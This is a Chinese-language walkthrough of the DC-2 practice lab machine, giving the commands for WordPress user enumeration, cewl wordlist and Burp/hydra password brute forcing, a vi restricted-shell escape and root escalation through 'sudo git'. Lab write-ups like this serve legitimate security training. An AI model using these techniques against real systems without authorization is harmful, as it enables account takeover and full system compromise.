DC-2打靶机步骤
字数 1160 2025-08-12 12:08:18
DC-2靶机渗透测试详细教程
环境准备
- 攻击机:Kali Linux (IP: 10.9.28.45)
- 靶机:DC-2 (IP: 10.9.28.18)
- 辅助机:Windows 7 SP1 (IP: 10.9.28.131)
注意:需要修改本机DNS解析才能访问DC-2的web服务
目标信息
- 靶机包含5个flags
- 可以通过查看虚拟机MAC地址确认IP
渗透测试步骤
1. 信息收集
1.1 Nmap扫描
nmap -sV 10.9.28.18
发现:
- 开放80端口(HTTP)
- WordPress CMS
- PHP后端
1.2 WPScan扫描用户
wpscan --url http://10.9.28.18 -e u
发现3个用户:
- admin
- tom
- jerry
将用户名保存到文件:
echo -e "admin\ntom\njerry" > users.txt
1.3 Dirsearch目录扫描
dirsearch -u http://10.9.28.18
2. 漏洞挖掘
2.1 Flag1获取
- 直接在网站上找到Flag1
- 提示:常规字典可能不管用,需要使用cewl生成密码字典
2.2 密码爆破
- 使用cewl生成密码字典:
cewl http://10.9.28.18 -w passwords.txt
- 使用Burp Suite进行爆破:
- 访问登录页面,随便输入凭证
- 使用BP抓包
- 发送到Intruder,使用Cluster bomb攻击类型
- 设置log和pwd为变量
- Payload set 1导入用户字典(users.txt)
- Payload set 2导入密码字典(passwords.txt)
结果:获取到tom和jerry的密码
3. 漏洞利用
3.1 Web登录
- 使用tom和jerry的凭证分别登录
- 在jerry账户中发现Flag2
- 提示:需要另一种方法
3.2 SSH服务发现
- 重新扫描所有端口:
nmap -p- 10.9.28.18
发现7744端口
- 详细扫描:
nmap -sV -p 7744 10.9.28.18
确认是SSH服务
3.3 SSH爆破
使用hydra爆破SSH:
hydra -L users.txt -P passwords.txt ssh://10.9.28.18:7744
或
hydra -L users.txt -P passwords.txt 10.9.28.18 -s 7744 ssh
结果:获取到tom的SSH凭证
4. 权限提升
4.1 受限shell绕过
- 使用tom登录SSH:
ssh tom@10.9.28.18 -p 7744
-
找到Flag3
- 提示:需要su到jerry
-
绕过命令限制:
vi
:!bash
- 切换到jerry:
su jerry
输入jerry的密码
- 找到Flag4
- 提示:没有提示
4.2 Root权限获取
- 检查sudo权限:
sudo -l
发现可以无密码执行git
- 利用git提权:
sudo git -p help
在帮助界面输入:
!/bin/bash
- 获取root权限后,在家目录找到final-flag
总结
通过本次渗透测试,我们完成了以下步骤:
- 信息收集:端口扫描、用户枚举、目录扫描
- 密码爆破:使用cewl生成字典,Burp Suite爆破
- 服务发现:识别隐藏的SSH服务
- 权限提升:绕过受限shell,利用sudo git提权
- 最终获取全部5个flags
关键点
- DNS解析修改:必须修改才能访问web服务
- 密码生成:使用cewl根据网站内容生成字典
- 服务发现:全面扫描所有端口,不遗漏隐藏服务
- 受限shell绕过:使用vi的shell转义功能
- 提权方法:利用sudo git的执行权限